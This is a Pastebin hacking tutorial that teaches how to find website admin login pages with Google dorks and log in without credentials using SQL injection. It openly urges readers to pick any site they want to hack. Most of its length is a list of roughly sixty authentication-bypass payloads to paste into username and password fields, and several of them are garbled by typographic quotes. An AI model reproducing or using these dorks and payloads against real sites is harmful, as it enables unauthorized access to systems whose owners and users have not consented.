Kyfx

SQL 101 admin.asp login and pass bypass

Mar 20th, 2015
674
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.38 KB | None | 0 0
  1. SQL mean Structured Query Language .
  2.  
  3. First we should find websites admin panel using a simple google dork .
  4. Dorks : inurl:adminlogin.aspx
  5.  
  6. inurl:admin/index.php
  7.  
  8. inurl:administrator.php
  9.  
  10. inurl:adminlogin.aspx
  11.  
  12. Now go to google and paste 1 of avobe dorks to find site, [note:Try to make your own dorks to get more success rate.] Hundreds of sites will open up having /admin_login.aspx in their URL. Select any website , which you want to hack, you will get the area from where the admins login to that site to controll the site. Fill the login form as:Username as Username,Admin,Administrator or 1'or'1'='1
  13.  
  14. Password : 1'or'1'='1
  15.  
  16. then press sign in or Login you will be into the admin panel of a website. It will not work for all the websites you will find , but will work on most of the website. Other InjecTion Queries :
  17. It is the easy way of getting into an administration area of a website that has .asp at the end of it, we going to use SQL injection for this.
  18. Go to google or any Search Engine and puch in one of these words: adminlogin.asp - login asp - admin area - admin/logon.asp - admin/adminlogin.asp - admin/adminlogon.asp - admin/admin_login.asp - admin/admin_logon.asp - administrator/admin.asp - administrator/login.asp - administrator/logon.asp - root/login.asp - admin/index.asp - admin.asp - login.asp - logon.asp - adminlogin.asp - adminlogon.asp - admin_login.asp - admin_logon.asp - admin/admin.asp - admin/login.asp .................
  19. Now you get a website ending with adminlogin.asp ,enter it.
  20. At the Username/Admin Login/Login Name/User ID/.... : type in "Admin" or "Administrator"
  21. And at the password type in :
  22. 'or' '=' (this is the best!!!!!!!-don't put that lol)
  23. ’ or 1=1–
  24. 1'or'1'='1
  25. 0'or'0'='0
  26. admin'--
  27. ' or 0=0 --
  28. " or 0=0 --
  29. or 0=0 --
  30. ' or 0=0 #
  31. " or 0=0 #
  32. or 0=0 #
  33. ' or 'x'='x
  34. " or "x"="x
  35. ') or ('x'='x
  36. ' or 1=1--
  37. " or 1=1--
  38. or 1=1--
  39. ' or a=a--
  40. ’ or a=a–
  41. " or "a"="a
  42. ') or ('a'='a
  43. ") or ("a"="a
  44. hi" or "a"="a
  45. hi" or 1=1 --
  46. hi' or 1=1 --
  47. hi' or 'a'='a
  48. hi') or ('a'='a
  49. hi") or ("a"="a
  50. ‘ or ’1′=’1
  51. ‘ or ‘x’='x
  52. ‘ or 0=0 –
  53. ” or 0=0 –
  54. or 0=0 –
  55. ‘ or 0=0 #
  56. ” or 0=0 #
  57. or 0=0 #
  58. ‘ or ‘x’='x
  59. ” or “x”=”x
  60. ‘) or (‘x’='x
  61. ‘ or 1=1–
  62. ” or 1=1–
  63. or 1=1–
  64. ‘ or a=a–
  65. ” or “a”=”a
  66. ‘) or (‘a’='a
  67. “) or (“a”=”a
  68. hi” or “a”=”a
  69. hi” or 1=1 –
  70. hi’ or 1=1 –
Add Comment
Please, Sign In to add comment